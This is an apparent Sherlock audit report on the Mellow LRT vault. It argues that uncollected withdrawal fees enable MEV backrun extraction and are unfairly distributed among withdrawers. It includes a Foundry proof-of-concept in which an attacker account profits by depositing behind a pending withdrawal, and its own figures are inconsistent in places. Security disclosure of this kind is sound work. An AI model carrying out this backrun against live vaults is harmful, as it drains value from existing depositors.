Beautiful Teal Kookaburra

Medium

# Withdrawal fee is charged but not collected, prone to MEV extraction

## Summary
The protocol team on discord states that `Formally, if in Vault you can deposit only in wsteth, and withdraw only in weth, then the operation deposit + registerWithdrawal + processWithdrawals will look like swap wsteth->weth. And if withdrawalFeeD9 == 0, then this is a zero-cost swap. Therefore, the withdrawalFeeD9 parameter was introduced here, which does not allow “free” token swaps to be made in this way.`

Meaning, that it is intentional to leave the withdrawal fee and not transfer it to admin. But this intention of not collecting the fee impacts on the system due to the
1. constant MEV extraction on every `registerWithdrawal`. It is intended that the charged fee should increase the share value of the LP who already been deposited in the vault. But some attacker takes a cut of this fee gain intended for existing LP by MEV backruns.
2. The withdrawal fee distribution back to the vault on every processed withdrawal is unfair to early withdrawers because the next withdrawers are getting benefitted from those fees.


## Vulnerability Detail

There are 3 issues, 

1. when all the withdrawers are processed the last withdrawer's fees are stuck in that contract and are of no use, impacting underlying token removal action which checks if balance of that token == 0, even though `delegatecall` can be called and moved by admin, it's a heavy work not in the intention of team.
3. the last withdrawers will get more than deserving, even after deducting the fees, because all the previous user's withdrawal fee cuts will be in the contract, and lp share value gets inflated. The more users withdraw before you, the better. This is unfair to early withdrawers.
4. MEV attack possible explained below with POC. 

MEV attack
1. User1 deposits 100 eth, user2 with 200 eth ad user3 with 50eth
2. After a while user2 calls `registerWithdrawal` and waits for operator to call `processWithdrawals`.
3. But the attacker backruns user2's `registerWithdrawal` with `deposit` of 10 eth.
5. Now the attacker waits for operator to call `processWithdrawals` and immediately backruns in next block to call `registerWithdrawal` and waits for operator to `processWithdrawals`, which will send > 10.012 eth even after the withdrawal fee as seen in the POC.

```sh
Ran 1 test for tests/mainnet/Vault.t.sol:VaultTestMEV
[PASS] testMEV() (gas: 632581)
Logs:
  Balance before : WSTETH.balanceOf(attacker):  10000000000000000000
  Balance After : WSTETH.balanceOf(attacker):  10012187499999999999
```

> Paste the below POC into `Vault.t.sol.t.sol` on `tests/mainnet/` folder  and then run  `forge t --mt testMEV --vvvv`

<details>
<summary>POC (click to dropdown) </summary>

```solidity
// SPDX-License-Identifier: BSL-1.1
pragma solidity 0.8.25;

import "../mainnet/Constants.sol";
import "../../src/Vault.sol";
import "forge-std/Test.sol";
import "forge-std/Vm.sol";


contract VaultTestMEV is Test {
    using SafeERC20 for IERC20;

    address public immutable admin = address(this);
    address public immutable operator =address(this);
    address user1 = address(1);
    address user2 = address(2);
    address user3 = address(3);
    address attacker = address(bytes20(keccak256((hex"c0ffee"))));

 Vault vault;


    function testMEV() public {
 console.log('Balance before : WSTETH.balanceOf(attacker): ', IERC20(Constants.WSTETH).balanceOf(attacker));
        assertEq(IERC20(Constants.WSTETH).balanceOf(attacker), 10e18);
    
        uint[] memory minAmounts = new uint[](1);
 minAmounts[0] = 200e18  * 99 / 100;
 vm.prank(user2);
 vault.registerWithdrawal(user2, 200e18, minAmounts, type(uint).max, type(uint).max, false);

        uint[] memory amounts = new uint[](1);
 amounts[0] = 10e18;
 vm.prank(attacker);
 vault.deposit(address(attacker), amounts, 10e18, type(uint).max);

        address[] memory users = new address[](1);
 users[0] = user2;
 vault.processWithdrawals(users);


 minAmounts[0] = 10e18  * 99 / 100;
 vm.prank(attacker);
 vault.registerWithdrawal(attacker, 10e18, minAmounts, type(uint).max, type(uint).max, false);


 users[0] = attacker;
 vault.processWithdrawals(users);

        assertGt(IERC20(Constants.WSTETH).balanceOf(attacker), 10e18);
 console.log('Balance After : WSTETH.balanceOf(attacker): ', IERC20(Constants.WSTETH).balanceOf(attacker));
 }





    function setUp() public {
 vm.createSelectFork("https://eth.llamarpc.com", 20173392);
 vault = new Vault("stake","stake",admin);
 ERC20TvlModule erc20TvlModule = new ERC20TvlModule();
 vault.addTvlModule(address(erc20TvlModule));

 vault.addToken(Constants.WSTETH);
 VaultConfigurator configurator = VaultConfigurator(
            address(vault.configurator())
 );

        // oracles setup
 {
 ManagedRatiosOracle ratiosOracle = new ManagedRatiosOracle();

            uint128[] memory ratiosX96 = new uint128[](1);
 ratiosX96[0] = 2 ** 96;
 ratiosOracle.updateRatios(address(vault), true, ratiosX96);
 ratiosOracle.updateRatios(address(vault), false, ratiosX96);

 configurator.stageRatiosOracle(address(ratiosOracle));
 configurator.commitRatiosOracle();

 ChainlinkOracle chainlinkOracle = new ChainlinkOracle();
 chainlinkOracle.setBaseToken(address(vault), Constants.WSTETH);
            address[] memory tokens = new address[](1);
 tokens[0] = Constants.WSTETH;

 IChainlinkOracle.AggregatorData[]
                memory data = new IChainlinkOracle.AggregatorData[](1);
 data[0] = IChainlinkOracle.AggregatorData({
 aggregatorV3: address(
                    new WStethRatiosAggregatorV3(Constants.WSTETH)
 ),
 maxAge: 30 days
 });
 chainlinkOracle.setChainlinkOracles(address(vault), tokens, data);

 configurator.stagePriceOracle(address(chainlinkOracle));
 configurator.commitPriceOracle();
 }

 configurator.stageMaximalTotalSupply(10000 ether);
 configurator.commitMaximalTotalSupply();

 ManagedValidator validator = new ManagedValidator(admin);
 configurator.stageValidator(address(validator));
 configurator.commitValidator();
 validator.grantContractRole(address(vault), 100);
 validator.grantRole(address(user1), 100);
 validator.grantRole(address(user2), 100);
 validator.grantRole(address(user3), 100);
 validator.grantRole(address(attacker), 100);

 vm.label(user1, "user:1");
 vm.label(user2, "user:2");
 vm.label(user3, "user:3");
 vm.label(attacker, "attacker");
 vm.label(Constants.WSTETH, "WSTETH");
        deal(Constants.WSTETH, user1, 100e18);
        deal(Constants.WSTETH, user2, 200e18);
        deal(Constants.WSTETH, user3, 50e18);
        deal(Constants.WSTETH, attacker, 10e18);

 vm.prank(user1);
        IERC20(Constants.WSTETH).approve(address(vault), type(uint).max);
 vm.prank(user2);
        IERC20(Constants.WSTETH).approve(address(vault), type(uint).max);
 vm.prank(user3);
        IERC20(Constants.WSTETH).approve(address(vault), type(uint).max);
 vm.prank(attacker);
        IERC20(Constants.WSTETH).approve(address(vault), type(uint).max);

        deal(Constants.WSTETH, address(this), 1000);
        IERC20(Constants.WSTETH).approve(address(vault), type(uint).max);
        uint[] memory amounts = new uint[](1);
 amounts[0] = 1000;
 vault.deposit(address(vault), amounts, 1000, type(uint).max);

 amounts[0] = 100e18;
 vm.prank(user1);
 vault.deposit(address(user1), amounts, 100e18, type(uint).max);
 amounts[0] = 200e18;
 vm.prank(user2);
 vault.deposit(address(user2), amounts, 200e18, type(uint).max);
 amounts[0] = 50e18;
 vm.prank(user3);
 vault.deposit(address(user3), amounts, 50e18, type(uint).max);


 configurator.stageWithdrawalFeeD9(5e6); // 5%
 configurator.commitWithdrawalFeeD9();
 }


}
```
</details>


**Issue flow :**
1. user calls `vault.registerWithdrawal` with 10e18 lp amount in a 100e18 total supply. So he is withdrawing 10% of the supply. And there is 1000 wstETH balance.
2. once the request is emitted, operator will fulfill the request by calling `vault.processWithdrawals` and it calculates how much value to withdraw after deducting the withdrawal fees at line 537 below.
3. if withdrawal fee is (0.5% ) which is 5e6 in D9 precision. Then value will 10% of 1000 steth = 100 steth, and in that 100eth * (1e9 - 5e6) / 1e9 = 99.9 wsteth.
4. Now, 0.5 eth is 1800$ currently. And that fee is charged, but not transferred to anyone. It just stays on the contract or on bond depending on the vault.
6. Those 0.5 eth will benefit to the remaining holders (90% of the lp), and they would get 0.5% higher share than what they used to get, squaring off their fees depending the previous withdrawer's volume. The first withdrawer's fees will benefit other withdrawers depending on the volume of lp value burnt by first user. Then next withdrawer's fees will also benefit next withdrawer.

https://github.com/sherlock-audit/2024-06-mellow/blob/26aa0445ec405a4ad637bddeeedec4efe1eba8d2/mellow-lrt/src/Vault.sol#L485-L487

```solidity
File: 2024-06-mellow/mellow-lrt/src/Vault.sol

527:     function analyzeRequest(
528:         ProcessWithdrawalsStack memory s,
529:         WithdrawalRequest memory request
530:     ) public pure returns (bool, bool, uint256[] memory expectedAmounts) {
531:         uint256 lpAmount = request.lpAmount;
... SNIP ...

536:         uint256 value = FullMath.mulDiv(lpAmount, s.totalValue, s.totalSupply);
537:  >>>>   value = FullMath.mulDiv(value, D9 - s.feeD9, D9);
538:         uint256 coefficientX96 = FullMath.mulDiv(value, Q96, s.ratiosX96Value);

... SNIP ...
543:         for (uint256 i = 0; i < length; i++) {
544:             uint256 ratiosX96 = s.ratiosX96[i];
545:             expectedAmounts[i] = ratiosX96 == 0
546:                 ? 0
547:                 : FullMath.mulDiv(coefficientX96, ratiosX96, Q96);
548:             if (expectedAmounts[i] >= request.minAmounts[i]) continue;
549:             return (false, false, expectedAmounts);
550:         }

556:     }

```

## Impact
MEV value extraction. Unfair fee charging for some users but benefiting for other users. The last user's withdrawal fee is forever locked in the contract. All with above medium likelihood.

## Code Snippet
https://github.com/sherlock-audit/2024-06-mellow/blob/26aa0445ec405a4ad637bddeeedec4efe1eba8d2/mellow-lrt/src/Vault.sol#L485-L487

## Tool used
Manual Review

## Recommendation

Move the withdrawal fee amount to admin or operator, don't leave it in the contract, prone to MEV extraction and unfair fee handling for early withdrawing users.